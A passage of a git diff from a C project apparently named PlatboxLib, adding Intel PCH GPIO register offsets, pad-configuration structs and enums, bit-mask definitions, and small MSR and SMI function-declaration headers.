24 + + + + +#define GPIO_PAD_OWN_GPP_S_0 0xA0 +#define GPIO_PAD_OWN_GPP_E_0 0xA4 +#define GPIO_PAD_OWN_GPP_E_1 0xA8 +#define GPIO_PAD_OWN_GPP_E_2 0xAC +#define GPIO_PAD_OWN_GPP_K_0 0xB0 +#define GPIO_PAD_OWN_GPP_K_1 0xB4 +#define GPIO_PAD_OWN_GPP_F_0 0xB8 +#define GPIO_PAD_OWN_GPP_F_1 0xBC +#define GPIO_PAD_OWN_GPP_F_2 0xC0 + +#define GPIO_PADCFGLOCK_GPP_S_0 0x110 +#define GPIO_PADCFGLOCKTX_GPP_S_0 0x114 +#define GPIO_PADCFGLOCK_GPP_E_0 0x118 +#define GPIO_PADCFGLOCKTX_GPP_E_0 0x11C +#define GPIO_PADCFGLOCK_GPP_K_0 0x120 +#define GPIO_PADCFGLOCKTX_GPP_K_0 0x124 +#define GPIO_PADCFGLOCK_GPP_F_0 0x128 +#define GPIO_PADCFGLOCKTX_GPP_F_0 0x12C + +#define GPIO_HOSTSW_OWN_GPP_S_0 0x150 +#define GPIO_HOSTSW_OWN_GPP_E_0 0x154 +#define GPIO_HOSTSW_OWN_GPP_K_0 0x158 +#define GPIO_HOSTSW_OWN_GPP_F_0 0x15C + +#define GPIO_GPI_IS_GPP_S_0 0x200 +#define GPIO_GPI_IS_GPP_E_0 0x204 +#define GPIO_GPI_IS_GPP_K_0 0x208 +#define GPIO_GPI_IS_GPP_F_0 0x20C + +#define GPIO_GPI_IE_GPP_S_0 0x220 +#define GPIO_GPI_IE_GPP_E_0 0x224 +#define GPIO_GPI_IE_GPP_K_0 0x228 +#define GPIO_GPI_IE_GPP_F_0 0x22C + +#define GPIO_GPI_GPE_STS_GPP_S_0 0x240 +#define GPIO_GPI_GPE_STS_GPP_E_0 0x244 +#define GPIO_GPI_GPE_STS_GPP_K_0 0x248 +#define GPIO_GPI_GPE_STS_GPP_F_0 0x24C + +#define GPIO_GPI_GPE_EN_GPP_S_0 0x260 +#define GPIO_GPI_GPE_EN_GPP_E_0 0x264 +#define GPIO_GPI_GPE_EN_GPP_K_0 0x268 +#define GPIO_GPI_GPE_EN_GPP_F_0 0x26C + +#define GPIO_GPI_SMI_STS_GPP_E_0 0x284 +#define GPIO_GPI_SMI_EN_GPP_E_0 0x2A4 +#define GPIO_GPI_NMI_STS_GPP_E_0 0x2C4 +#define GPIO_GPI_NMI_EN_GPP_E_0 0x2E4 + +#define GPIO_PWMC 0x304 + + +#define GPIO_PAD_CFG_DW0_GPP_S_0 0x700 +#define GPIO_PAD_CFG_DW1_GPP_S_0 0x704 +#define GPIO_PAD_CFG_DW0_GPP_S_1 0x710 +#define GPIO_PAD_CFG_DW1_GPP_S_1 0x714 +#define GPIO_PAD_CFG_DW0_GPP_S_2 0x720 +#define GPIO_PAD_CFG_DW1_GPP_S_2 0x724 +#define GPIO_PAD_CFG_DW0_GPP_S_3 0x730 +#define GPIO_PAD_CFG_DW1_GPP_S_3 0x734 +#define GPIO_PAD_CFG_DW0_GPP_S_4 0x740 +#define GPIO_PAD_CFG_DW1_GPP_S_4 0x744 +#define GPIO_PAD_CFG_DW0_GPP_S_5 0x750 +#define GPIO_PAD_CFG_DW1_GPP_S_5 0x754 +#define GPIO_PAD_CFG_DW0_GPP_S_6 0x760 +#define GPIO_PAD_CFG_DW1_GPP_S_6 0x764 +#define GPIO_PAD_CFG_DW0_GPP_S_7 0x770 +#define GPIO_PAD_CFG_DW1_GPP_S_7 0x774 + +#define GPIO_PAD_CFG_DW0_GPP_E_0 0x780 +#define GPIO_PAD_CFG_DW1_GPP_E_0 0x784 +#define GPIO_PAD_CFG_DW0_GPP_E_1 0x790 +#define GPIO_PAD_CFG_DW1_GPP_E_1 0x794 +#define GPIO_PAD_CFG_DW0_GPP_E_2 0x7A0 +#define GPIO_PAD_CFG_DW1_GPP_E_2 0x7A4 +#define GPIO_PAD_CFG_DW0_GPP_E_3 0x7B0 +#define GPIO_PAD_CFG_DW1_GPP_E_3 0x7B4 +#define GPIO_PAD_CFG_DW0_GPP_E_4 0x7C0 +#define GPIO_PAD_CFG_DW1_GPP_E_4 0x7C4 +#define GPIO_PAD_CFG_DW0_GPP_E_5 0x7D0 +#define GPIO_PAD_CFG_DW1_GPP_E_5 0x7D4 +#define GPIO_PAD_CFG_DW0_GPP_E_6 0x7E0 +#define GPIO_PAD_CFG_DW1_GPP_E_6 0x7E4 +#define GPIO_PAD_CFG_DW0_GPP_E_7 0x7F0 +#define GPIO_PAD_CFG_DW1_GPP_E_7 0x7F4 +#define GPIO_PAD_CFG_DW0_GPP_E_8 0x800 +#define GPIO_PAD_CFG_DW1_GPP_E_8 0x804 +#define GPIO_PAD_CFG_DW0_GPP_E_9 0x810 +#define GPIO_PAD_CFG_DW1_GPP_E_9 0x814 +#define GPIO_PAD_CFG_DW0_GPP_E_10 0x820 +#define GPIO_PAD_CFG_DW1_GPP_E_10 0x824 +#define GPIO_PAD_CFG_DW0_GPP_E_11 0x830 +#define GPIO_PAD_CFG_DW1_GPP_E_11 0x834 +#define GPIO_PAD_CFG_DW0_GPP_E_12 0x840 +#define GPIO_PAD_CFG_DW1_GPP_E_12 0x844 +#define GPIO_PAD_CFG_DW0_GPP_E_13 0x850 +#define GPIO_PAD_CFG_DW1_GPP_E_13 0x854 +#define GPIO_PAD_CFG_DW0_GPP_E_14 0x860 +#define GPIO_PAD_CFG_DW1_GPP_E_14 0x864 +#define GPIO_PAD_CFG_DW0_GPP_E_15 0x870 +#define GPIO_PAD_CFG_DW1_GPP_E_15 0x874 +#define GPIO_PAD_CFG_DW0_GPP_E_16 0x880 +#define GPIO_PAD_CFG_DW1_GPP_E_16 0x884 +#define GPIO_PAD_CFG_DW0_GPP_E_17 0x890 +#define GPIO_PAD_CFG_DW1_GPP_E_17 0x894 +#define GPIO_PAD_CFG_DW0_GPP_E_18 0x8A0 +#define GPIO_PAD_CFG_DW1_GPP_E_18 0x8A4 +#define GPIO_PAD_CFG_DW0_GPP_E_19 0x8B0 +#define GPIO_PAD_CFG_DW1_GPP_E_19 0x8B4 +#define GPIO_PAD_CFG_DW0_GPP_E_20 0x8C0 +#define GPIO_PAD_CFG_DW1_GPP_E_20 0x8C4 +#define GPIO_PAD_CFG_DW0_GPP_E_21 0x8D0 +#define GPIO_PAD_CFG_DW1_GPP_E_21 0x8D4 + +#define GPIO_PAD_CFG_DW0_GPP_K_0 0x8F0 +#define GPIO_PAD_CFG_DW1_GPP_K_0 0x8F4 +#define GPIO_PAD_CFG_DW0_GPP_K_1 0x900 +#define GPIO_PAD_CFG_DW1_GPP_K_1 0x904 +#define GPIO_PAD_CFG_DW0_GPP_K_2 0x910 +#define GPIO_PAD_CFG_DW1_GPP_K_2 0x914 +#define GPIO_PAD_CFG_DW0_GPP_K_3 0x920 +#define GPIO_PAD_CFG_DW1_GPP_K_3 0x924 +#define GPIO_PAD_CFG_DW0_GPP_K_4 0x930 +#define GPIO_PAD_CFG_DW1_GPP_K_4 0x934 +#define GPIO_PAD_CFG_DW0_GPP_K_5 0x940 +#define GPIO_PAD_CFG_DW1_GPP_K_5 0x944 +#define GPIO_PAD_CFG_DW0_GPP_K_6 0x950 +#define GPIO_PAD_CFG_DW1_GPP_K_6 0x954 +#define GPIO_PAD_CFG_DW0_GPP_K_7 0x960 +#define GPIO_PAD_CFG_DW1_GPP_K_7 0x964 +#define GPIO_PAD_CFG_DW0_GPP_K_8 0x970 +#define GPIO_PAD_CFG_DW1_GPP_K_8 0x974 +#define GPIO_PAD_CFG_DW0_GPP_K_9 0x980 +#define GPIO_PAD_CFG_DW1_GPP_K_9 0x984 +#define GPIO_PAD_CFG_DW0_GPP_K_10 0x990 +#define GPIO_PAD_CFG_DW1_GPP_K_10 0x994 +#define GPIO_PAD_CFG_DW0_GPP_K_11 0x9a0 +#define GPIO_PAD_CFG_DW1_GPP_K_11 0x9a4 + +#define GPIO_PAD_CFG_DW0_GPP_F_0 0x9E0 +#define GPIO_PAD_CFG_DW1_GPP_F_0 0x9E4 +#define GPIO_PAD_CFG_DW0_GPP_F_1 0x9F0 +#define GPIO_PAD_CFG_DW1_GPP_F_1 0x9F4 +#define GPIO_PAD_CFG_DW0_GPP_F_2 0xA00 +#define GPIO_PAD_CFG_DW1_GPP_F_2 0xA04 +#define GPIO_PAD_CFG_DW0_GPP_F_3 0xA10 +#define GPIO_PAD_CFG_DW1_GPP_F_3 0xA14 +#define GPIO_PAD_CFG_DW0_GPP_F_4 0xA20 +#define GPIO_PAD_CFG_DW1_GPP_F_4 0xA24 +#define GPIO_PAD_CFG_DW0_GPP_F_5 0xA30 +#define GPIO_PAD_CFG_DW1_GPP_F_5 0xA34 +#define GPIO_PAD_CFG_DW0_GPP_F_6 0xA40 +#define GPIO_PAD_CFG_DW1_GPP_F_6 0xA44 +#define GPIO_PAD_CFG_DW0_GPP_F_7 0xA50 +#define GPIO_PAD_CFG_DW1_GPP_F_7 0xA54 +#define GPIO_PAD_CFG_DW0_GPP_F_8 0xA60 +#define GPIO_PAD_CFG_DW1_GPP_F_8 0xA64 +#define GPIO_PAD_CFG_DW0_GPP_F_9 0xA70 +#define GPIO_PAD_CFG_DW1_GPP_F_9 0xA74 +#define GPIO_PAD_CFG_DW0_GPP_F_10 0xA80 +#define GPIO_PAD_CFG_DW1_GPP_F_10 0xA84 +#define GPIO_PAD_CFG_DW0_GPP_F_11 0xA90 +#define GPIO_PAD_CFG_DW1_GPP_F_11 0xA94 +#define GPIO_PAD_CFG_DW0_GPP_F_12 0xAA0 +#define GPIO_PAD_CFG_DW1_GPP_F_12 0xAA4 +#define GPIO_PAD_CFG_DW0_GPP_F_13 0xAB0 +#define GPIO_PAD_CFG_DW1_GPP_F_13 0xAB4 +#define GPIO_PAD_CFG_DW0_GPP_F_14 0xAC0 +#define GPIO_PAD_CFG_DW1_GPP_F_14 0xAC4 +#define GPIO_PAD_CFG_DW0_GPP_F_15 0xAD0 +#define GPIO_PAD_CFG_DW1_GPP_F_15 0xAD4 +#define GPIO_PAD_CFG_DW0_GPP_F_16 0xAE0 +#define GPIO_PAD_CFG_DW1_GPP_F_16 0xAE4 +#define GPIO_PAD_CFG_DW0_GPP_F_17 0xAF0 +#define GPIO_PAD_CFG_DW1_GPP_F_17 0xAF4 +#define GPIO_PAD_CFG_DW0_GPP_F_18 0xB00 +#define GPIO_PAD_CFG_DW1_GPP_F_18 0xB04 +#define GPIO_PAD_CFG_DW0_GPP_F_19 0xB10 +#define GPIO_PAD_CFG_DW1_GPP_F_19 0xB14 +#define GPIO_PAD_CFG_DW0_GPP_F_20 0xB20 +#define GPIO_PAD_CFG_DW1_GPP_F_20 0xB24 +#define GPIO_PAD_CFG_DW0_GPP_F_21 0xB30 +#define GPIO_PAD_CFG_DW1_GPP_F_21 0xB34 +#define GPIO_PAD_CFG_DW0_GPP_F_22 0xB40 +#define GPIO_PAD_CFG_DW1_GPP_F_22 0xB44 +#define GPIO_PAD_CFG_DW0_GPP_F_23 0xB50 +#define GPIO_PAD_CFG_DW1_GPP_F_23 0xB54 + +typedef struct _GPIO_PAD_CFG { + union { + UINT32 dw0; + struct { + UINT32 GPIOTXSTATE: 1; + UINT32 GPIORXSTATE: 1; + UINT32 Resvd0: 6; + UINT32 GPIOTXDIS: 1; + UINT32 GPIORXDIS: 1; + UINT32 PMODE: 2; + UINT32 Resvd1: 5; + UINT32 GPIROUTNMI: 1; + UINT32 GPIROUTSMI: 1; + UINT32 GPIROUTSCI: 1; + UINT32 GPIROUTIOXAPIC: 1; + UINT32 RXTXENCFG: 2; + UINT32 RXINV: 1; + UINT32 PREGFRXSEL: 1; + UINT32 RXEVCFG: 2; + UINT32 Resvd3: 1; + UINT32 RXRAW1: 1; + UINT32 RXPADSTSEL: 1; + UINT32 PADRSTCFG: 2; + }; + }; + union { + UINT32 dw1; + struct { + UINT32 INTSEL: 8; + UINT32 IOSTREM: 2; + UINT32 TERM: 3; + UINT32 IOSTATE: 4; + UINT32 Resvd0: 15; + }; + }; +} GPIO_PAD_CFG; + +// This struct holds the setting for a GPIO group +// It harcodes the number of GPIOs to 32 +// The specific group could have less pins +struct GpioGroupSettings { + UINT32 PadCfgLockTxState; + UINT32 PadCfgLock; + BYTE PadOwnership[32]; + + // A bitmap per GPIO that dictates the host status bit update mode + // When the GPIO is under Host ownership + UINT32 HostSW_Own; + + GPIO_PAD_CFG GpioConfig[32]; +}; + +extern GPIO_PAD_CFG GPIO_PAD_CFG_GPP_S[8]; +extern GPIO_PAD_CFG GPIO_PAD_CFG_GPP_E[22]; +extern GPIO_PAD_CFG GPIO_PAD_CFG_GPP_K[12]; +extern GPIO_PAD_CFG GPIO_PAD_CFG_GPP_F[24]; + + +// extern struct GpioGroupSettings gGpioGroupF; + +void retrieve_gpio_gpp_f(struct GpioGroupSettings *pad); +void print_pad_cfg_reg(GPIO_PAD_CFG *reg); + +void print_gpio_community4_mem(); + + +UINT32 PchSbMmioRead32(UINT32 community, UINT32 regOffset); +void PchSbMmioWrite32(UINT32 community, UINT32 regOffset, UINT32 val); + +//////////////////////////////////////////////////// + + + +#define GPIO_GET_PAD_NUMBER(Pad) ((Pad) & 0xFFFF) +#define GPIO_GET_GROUP_FROM_PAD(Pad) ((Pad) >> 16) +#define GPIO_GET_PAD_POSITION(PadNumber) ((PadNumber) & 0x1F) +#define GPIO_GET_DW_NUM(PadNumber) ((PadNumber) >> 5) + +#define GPIO_GET_CHIPSET_ID(Pad) ((Pad) >> 24) + +#define GPIO_GET_GROUP_INDEX(Group) ((Group) & 0xFF) +#define GPIO_GET_GROUP_INDEX_FROM_PAD(Pad) GPIO_GET_GROUP_INDEX (((Pad) >> 16)) + +#define GPIO_PADCFG_DW_REG_NUMBER 4 + +typedef UINT32 GPIO_PAD; +typedef UINT32 GPIO_GROUP; + + + + +typedef struct { + /*0x00*/ UINT16 Community; + /*0x02*/ UINT16 PadOwnOffset; + /*0x04*/ UINT16 HostOwnOffset; + /*0x06*/ UINT16 GpiIsOffset; + /*0x08*/ UINT16 GpiIeOffset; + /*0x0A*/ UINT16 GpiGpeStsOffset; + /*0x0C*/ UINT16 GpiGpeEnOffset; + /*0x0E*/ UINT16 SmiStsOffset; + /*0x10*/ UINT16 SmiEnOffset; + /*0x12*/ UINT16 NmiStsOffset; + /*0x14*/ UINT16 NmiEnOffset; + /*0x16*/ UINT16 PadCfgLockOffset; + /*0x18*/ UINT16 PadCfgLockTxOffset; + /*0x1A*/ UINT16 PadCfgOffset; + /*0x1E*/ UINT16 PadPerGroup; +} GPIO_GROUP_INFO; + + +typedef enum { + GpioDirDefault = 0x0, ///< Leave pad direction setting unmodified + GpioDirInOut = (0x1 | (0x1 << 3)), ///< Set pad for both output and input + GpioDirInInvOut = (0x1 | (0x3 << 3)), ///< Set pad for both output and input with inversion + GpioDirIn = (0x3 | (0x1 << 3)), ///< Set pad for input only + GpioDirInInv = (0x3 | (0x3 << 3)), ///< Set pad for input with inversion + GpioDirOut = 0x5, ///< Set pad for output only + GpioDirNone = 0x7 ///< Disable both output and input +} GPIO_DIRECTION; + +/** + GPIO configuration structure used for pin programming. + Structure contains fields that can be used to configure pad. +**/ +typedef struct { + /** + Pad Mode + Pad can be set as GPIO or one of its native functions. + When in native mode setting Direction (except Inversion), OutputState, + InterruptConfig, Host Software Pad Ownership and OutputStateLock are unnecessary. + Refer to definition of GPIO_PAD_MODE. + Refer to EDS for each native mode according to the pad. + **/ + UINT32 PadMode : 5; + /** + Host Software Pad Ownership + Set pad to ACPI mode or GPIO Driver Mode. + Refer to definition of GPIO_HOSTSW_OWN. + **/ + UINT32 HostSoftPadOwn : 2; + /** + GPIO Direction + Can choose between In, In with inversion, Out, both In and Out, both In with inversion and out or disabling both. + Refer to definition of GPIO_DIRECTION for supported settings. + **/ + UINT32 Direction : 6; + /** + Output State + Set Pad output value. + Refer to definition of GPIO_OUTPUT_STATE for supported settings. + This setting takes place when output is enabled. + **/ + UINT32 OutputState : 2; + /** + GPIO Interrupt Configuration + Set Pad to cause one of interrupts (IOxAPIC/SCI/SMI/NMI). + This setting is applicable only if GPIO is in GpioMode with input enabled. + Refer to definition of GPIO_INT_CONFIG for supported settings. + **/ + UINT32 InterruptConfig : 9; + /** + GPIO Power Configuration. + This setting controls Pad Reset Configuration. + Refer to definition of GPIO_RESET_CONFIG for supported settings. + **/ + UINT32 PowerConfig : 8; + /** + GPIO Electrical Configuration + This setting controls pads termination. + Refer to definition of GPIO_ELECTRICAL_CONFIG for supported settings. + **/ + UINT32 ElectricalConfig : 9; + /** + GPIO Lock Configuration + This setting controls pads lock. + Refer to definition of GPIO_LOCK_CONFIG for supported settings. + **/ + UINT32 LockConfig : 4; + /** + Additional GPIO configuration + Refer to definition of GPIO_OTHER_CONFIG for supported settings. + **/ + UINT32 OtherSettings : 9; + UINT32 RsvdBits : 10; ///< Reserved bits for future extension +} GPIO_CONFIG; + + + +/// +/// GPIO Power Configuration +/// GPIO_RESET_CONFIG allows to set GPIO Reset (used to reset the specified +/// Pad Register fields). +/// +typedef enum { + GpioResetDefault = 0x0, ///< Leave value of pad reset unmodified + GpioResetPwrGood = 0x1, ///< Powergood reset + GpioResetDeep = 0x3, ///< Deep GPIO Reset + GpioResetNormal = 0x5, ///< GPIO Reset + GpioResetResume = 0x7 ///< Resume Reset (applicable only for GPD group) +} GPIO_RESET_CONFIG; + + +typedef enum { + GpioResetDefaultX = 0x00, ///< Leave value of pad reset unmodified + /** + Resume Reset (RSMRST) + GPP: PadRstCfg = 00b = "Powergood" + GPD: PadRstCfg = 11b = "Resume Reset" + Pad setting will reset on: + - DeepSx transition + - G3 + Pad settings will not reset on: + - S3/S4/S5 transition + - Warm/Cold/Global reset + **/ + GpioResumeReset = 0x01, + /** + Host Deep Reset + PadRstCfg = 01b = "Deep GPIO Reset" + Pad settings will reset on: + - Warm/Cold/Global reset + - DeepSx transition + - G3 + Pad settings will not reset on: + - S3/S4/S5 transition + **/ + GpioHostDeepReset = 0x03, + /** + Platform Reset (PLTRST) + PadRstCfg = 10b = "GPIO Reset" + Pad settings will reset on: + - S3/S4/S5 transition + - Warm/Cold/Global reset + - DeepSx transition + - G3 + **/ + GpioPlatformReset = 0x05, + /** + Deep Sleep Well Reset (DSW_PWROK) + GPP: not applicable + GPD: PadRstCfg = 00b = "Powergood" + Pad settings will reset on: + - G3 + Pad settings will not reset on: + - S3/S4/S5 transition + - Warm/Cold/Global reset + - DeepSx transition + **/ + GpioDswReset = 0x07 +} GPIO_RESET_CONFIG2; + + +#define NO_REGISTER_FOR_PROPERTY 0xFFFF + +// +// Possible registers to be accessed using GpioReadReg()/GpioWriteReg() functions +// +typedef enum { + GpioHostOwnershipRegister = 0, + GpioGpeEnableRegister, + GpioGpeStatusRegister, + GpioSmiEnableRegister, + GpioSmiStatusRegister, + GpioNmiEnableRegister, + GpioPadConfigLockRegister, + GpioPadLockOutputRegister +} GPIO_REG; + + + + +/// +/// GPIO Pad Mode +/// +typedef enum { + GpioPadModeGpio = 0x1, + GpioPadModeNative1 = 0x3, + GpioPadModeNative2 = 0x5, + GpioPadModeNative3 = 0x7, + GpioPadModeNative4 = 0x9 +} GPIO_PAD_MODE; + +// +// Structure for native pin data +// +typedef struct { + GPIO_PAD Pad; + GPIO_PAD_MODE Mode; +} GPIO_PAD_NATIVE_FUNCTION; + +// +// Below defines are based on GPIO_CONFIG structure fields +// +#define B_GPIO_PAD_MODE_MASK 0xF +#define N_GPIO_PAD_MODE_BIT_POS 0 +#define B_GPIO_HOSTSW_OWN_MASK 0x3 +#define N_GPIO_HOSTSW_OWN_BIT_POS 0 +#define B_GPIO_DIRECTION_MASK 0x1F +#define B_GPIO_DIRECTION_DIR_MASK 0x7 +#define N_GPIO_DIRECTION_DIR_BIT_POS 0 +#define B_GPIO_DIRECTION_INV_MASK 0x18 +#define N_GPIO_DIRECTION_INV_BIT_POS 3 +#define B_GPIO_OUTPUT_MASK 0x3 +#define N_GPIO_OUTPUT_BIT_POS 0 +#define N_GPIO_INT_CONFIG_INT_SOURCE_BIT_POS 0 +#define N_GPIO_INT_CONFIG_INT_TYPE_BIT_POS 5 +#define B_GPIO_RESET_CONFIG_RESET_MASK 0x3F +#define N_GPIO_RESET_CONFIG_OLD_RESET_TYPE BIT1 +#define B_GPIO_RESET_CONFIG_OLD_RESET_MASK 0xF +#define N_GPIO_RESET_CONFIG_RESET_BIT_POS 0 +#define B_GPIO_RESET_CONFIG_GPD_RESET_MASK (BIT5 | BIT4) +#define B_GPIO_RESET_CONFIG_GPP_RESET_MASK (BIT3 | BIT2) +#define N_GPIO_ELECTRICAL_CONFIG_TERMINATION_BIT_POS 0 +#define N_GPIO_OTHER_CONFIG_RXRAW_BIT_POS 0 + + + +bool GpioGetPadConfig(GPIO_PAD GpioPad, GPIO_CONFIG *GpioData); +UINT32 GpioReadPadCfgReg (GPIO_PAD GpioPad, UINT8 DwReg); +void GpioWritePadCfgReg (GPIO_PAD GpioPad, UINT8 DwReg, UINT32 val); + +void GpioWrite(GPIO_PAD GpioPad, UINT8 val); + +//////////////////////////////////////// + +#define REG_PCH_GPIO_PAD_OWN 0x20 +#define REG_PCH_GPIO_HOSTSW_OWN 0xd0 +#define REG_PCH_GPIO_GPI_IS 0x100 +#define REG_PCH_GPIO_GPI_IE 0x120 +#define REG_PCH_GPIO_GPE_STS 0x140 +#define REG_PCH_GPIO_GPE_EN 0x160 +#define REG_PCH_GPIO_SMI_STS 0x184 +#define REG_PCH_GPIO_SMI_EN 0x1a4 +#define REG_PCH_GPIO_NMI_STS 0x1c4 +#define REG_PCH_GPIO_NMI_EN 0x1e4 + +#define REG_PCH_GPIO_DW0_PMODE 0x1600 +#define REG_PCH_GPIO_DW0_RXDIS 0x0200 +#define REG_PCH_GPIO_DW0_TXDIS 0x0100 +#define REG_PCH_GPIO_DW0_RXSTATE 0x0002 +#define REG_PCH_GPIO_DW0_TXSTATE 0x0001 + +#define REG_PCH_GPIO_DW1_TERM_NONE 0x0 +#define REG_PCH_GPIO_DW1_TERM_5K_PD 0x2 +#define REG_PCH_GPIO_DW1_TERM_20K_PD 0x4 +#define REG_PCH_GPIO_DW1_TERM_5K_PU 0xa +#define REG_PCH_GPIO_DW1_TERM_20K_PU 0xc +#define REG_PCH_GPIO_DW1_TERM_NATIVE 0xf \ No newline at end of file diff --git a/PlatboxLib/inc/intel/intel_pch_regs_gpio.h b/PlatboxLib/inc/intel/intel_pch_regs_gpio.h new file mode 100644 index 0000000..7e9c035 --- /dev/null +++ b/PlatboxLib/inc/intel/intel_pch_regs_gpio.h @@ -0,0 +1,157 @@ + +#define S_GPIO_PCR_PADCFG 0x10 + +// +// Pad Configuration Register DW0 +// + +//Pad Reset Config +#define B_GPIO_PCR_RST_CONF (BIT31 | BIT30) +#define N_GPIO_PCR_RST_CONF 30 +#define V_GPIO_PCR_RST_CONF_POW_GOOD 0x00 +#define V_GPIO_PCR_RST_CONF_DEEP_RST 0x01 +#define V_GPIO_PCR_RST_CONF_GPIO_RST 0x02 +#define V_GPIO_PCR_RST_CONF_RESUME_RST 0x03 // Only for GPD Group + +//RX Pad State Select +#define B_GPIO_PCR_RX_PAD_STATE BIT29 +#define N_GPIO_PCR_RX_PAD_STATE 29 +#define V_GPIO_PCR_RX_PAD_STATE_RAW 0x00 +#define V_GPIO_PCR_RX_PAD_STATE_INT 0x01 + +//RX Raw Overrride to 1 +#define B_GPIO_PCR_RX_RAW1 BIT28 +#define N_GPIO_PCR_RX_RAW1 28 +#define V_GPIO_PCR_RX_RAW1_DIS 0x00 +#define V_GPIO_PCR_RX_RAW1_EN 0x01 + +//RX Level/Edge Configuration +#define B_GPIO_PCR_RX_LVL_EDG (BIT26 | BIT25) +#define N_GPIO_PCR_RX_LVL_EDG 25 +#define V_GPIO_PCR_RX_LVL_EDG_LVL 0x00 +#define V_GPIO_PCR_RX_LVL_EDG_EDG 0x01 +#define V_GPIO_PCR_RX_LVL_EDG_0 0x02 +#define V_GPIO_PCR_RX_LVL_EDG_RIS_FAL 0x03 + +//RX Invert +#define B_GPIO_PCR_RXINV BIT23 +#define N_GPIO_PCR_RXINV 23 +#define V_GPIO_PCR_RXINV_NO 0x00 +#define V_GPIO_PCR_RXINV_YES 0x01 + +//GPIO Input Route IOxAPIC +#define B_GPIO_PCR_RX_APIC_ROUTE BIT20 +#define N_GPIO_PCR_RX_APIC_ROUTE 20 +#define V_GPIO_PCR_RX_APIC_ROUTE_DIS 0x00 +#define V_GPIO_PCR_RX_APIC_ROUTE_EN 0x01 + +//GPIO Input Route SCI +#define B_GPIO_PCR_RX_SCI_ROUTE BIT19 +#define N_GPIO_PCR_RX_SCI_ROUTE 19 +#define V_GPIO_PCR_RX_SCI_ROUTE_DIS 0x00 +#define V_GPIO_PCR_RX_SCI_ROUTE_EN 0x01 + +//GPIO Input Route SMI +#define B_GPIO_PCR_RX_SMI_ROUTE BIT18 +#define N_GPIO_PCR_RX_SMI_ROUTE 18 +#define V_GPIO_PCR_RX_SMI_ROUTE_DIS 0x00 +#define V_GPIO_PCR_RX_SMI_ROUTE_EN 0x01 + +//GPIO Input Route NMI +#define B_GPIO_PCR_RX_NMI_ROUTE BIT17 +#define N_GPIO_PCR_RX_NMI_ROUTE 17 +#define V_GPIO_PCR_RX_NMI_ROUTE_DIS 0x00 +#define V_GPIO_PCR_RX_NMI_ROUTE_EN 0x01 + +//GPIO Pad Mode +#define B_GPIO_PCR_PAD_MODE (BIT12 | BIT11 | BIT10) +#define N_GPIO_PCR_PAD_MODE 10 +#define V_GPIO_PCR_PAD_MODE_GPIO 0 +#define V_GPIO_PCR_PAD_MODE_NAT_1 1 +#define V_GPIO_PCR_PAD_MODE_NAT_2 2 +#define V_GPIO_PCR_PAD_MODE_NAT_3 3 +#define V_GPIO_PCR_PAD_MODE_NAT_4 4 // SPT-H only + +//GPIO RX Disable +#define B_GPIO_PCR_RXDIS BIT9 +#define N_GPIO_PCR_RXDIS 9 +#define V_GPIO_PCR_RXDIS_EN 0x00 +#define V_GPIO_PCR_RXDIS_DIS 0x01 + +//GPIO TX Disable +#define B_GPIO_PCR_TXDIS BIT8 +#define N_GPIO_PCR_TXDIS 8 +#define V_GPIO_PCR_TXDIS_EN 0x00 +#define V_GPIO_PCR_TXDIS_DIS 0x01 + +//GPIO RX State +#define B_GPIO_PCR_RX_STATE BIT1 +#define N_GPIO_PCR_RX_STATE 1 +#define V_GPIO_PCR_RX_STATE_LOW 0x00 +#define V_GPIO_PCR_RX_STATE_HIGH 0x01 + +//GPIO TX State +#define B_GPIO_PCR_TX_STATE BIT0 +#define N_GPIO_PCR_TX_STATE 0 +#define V_GPIO_PCR_TX_STATE_LOW 0x00 +#define V_GPIO_PCR_TX_STATE_HIGH 0x01 + +// +// Pad Configuration Register DW1 +// + +//Padtol +#define B_GPIO_PCR_PADTOL BIT25 +#define N_GPIO_PCR_PADTOL 25 +#define V_GPIO_PCR_PADTOL_NONE 0x00 +#define V_GPIO_PCR_PADTOL_CLEAR 0x00 +#define V_GPIO_PCR_PADTOL_SET 0x01 + +//Termination +#define B_GPIO_PCR_TERM (BIT13 | BIT12 | BIT11 | BIT10) +#define N_GPIO_PCR_TERM 10 +#define V_GPIO_PCR_TERM_WPD_NONE 0x00 +#define V_GPIO_PCR_TERM_WPD_5K 0x02 +#define V_GPIO_PCR_TERM_WPD_20K 0x04 +#define V_GPIO_PCR_TERM_WPU_NONE 0x08 +#define V_GPIO_PCR_TERM_WPU_1K 0x09 +#define V_GPIO_PCR_TERM_WPU_2K 0x0B +#define V_GPIO_PCR_TERM_WPU_5K 0x0A +#define V_GPIO_PCR_TERM_WPU_20K 0x0C +#define V_GPIO_PCR_TERM_WPU_1K_2K 0x0D +#define V_GPIO_PCR_TERM_NATIVE 0x0F + +//Interrupt number +#define B_GPIO_PCR_INTSEL 0x7F +#define N_GPIO_PCR_INTSEL 0 + +// +//Debounce +#define B_GPIO_PCR_DEBOUNCE (BIT4 | BIT3 | BIT2 | BIT1) +#define N_GPIO_PCR_DEBOUNCE 1 + +//Debounce Enable +#define B_GPIO_PCR_DEBEN BIT0 +#define N_GPIO_PCR_DEBEN 0 + +// +// Ownership +// +#define V_GPIO_PCR_OWN_GPIO 0x01 +#define V_GPIO_PCR_OWN_ACPI 0x00 + +// +// GPE +// +#define V_GPIO_PCR_GPE_EN 0x01 +#define V_GPIO_PCR_GPE_DIS 0x00 +// +// SMI +// +#define V_GPIO_PCR_SMI_EN 0x01 +#define V_GPIO_PCR_SMI_DIS 0x00 +// +// NMI +// +#define V_GPIO_PCR_NMI_EN 0x01 +#define V_GPIO_PCR_NMI_DIS 0x00 diff --git a/PlatboxLib/inc/msr.h b/PlatboxLib/inc/msr.h index 1e59ed0..953d7c4 100644 --- a/PlatboxLib/inc/msr.h +++ b/PlatboxLib/inc/msr.h @@ -4,7 +4,4 @@ /* MSR */ BOOL do_read_msr(UINT msr, UINT64 *res); -BOOL do_write_msr(UINT msr, UINT64 value); -void read_msr(int argc, char **argv); -void write_msr(int argc, char **argv); - +BOOL do_write_msr(UINT msr, UINT64 value); \ No newline at end of file diff --git a/PlatboxLib/inc/smm/smi.h b/PlatboxLib/inc/smm/smi.h new file mode 100644 index 0000000..bde1edc --- /dev/null +++ b/PlatboxLib/inc/smm/smi.h @@ -0,0 +1,5 @@ +#include "global.h" + +int trigger_smi(SW_SMI_CALL *smi_call); +// +int trigger_smi_ex(SW_SMI_CALL *smi_call); \ No newline at end of file diff --git a/PlatboxLib/inc/types.h b/PlatboxLib/inc/types.h index 3a2cf0f..a9b4905 100644 --- a/PlatboxLib/inc/types.h +++ b/PlatboxLib/inc/types.h @@ -20,6 +20,7 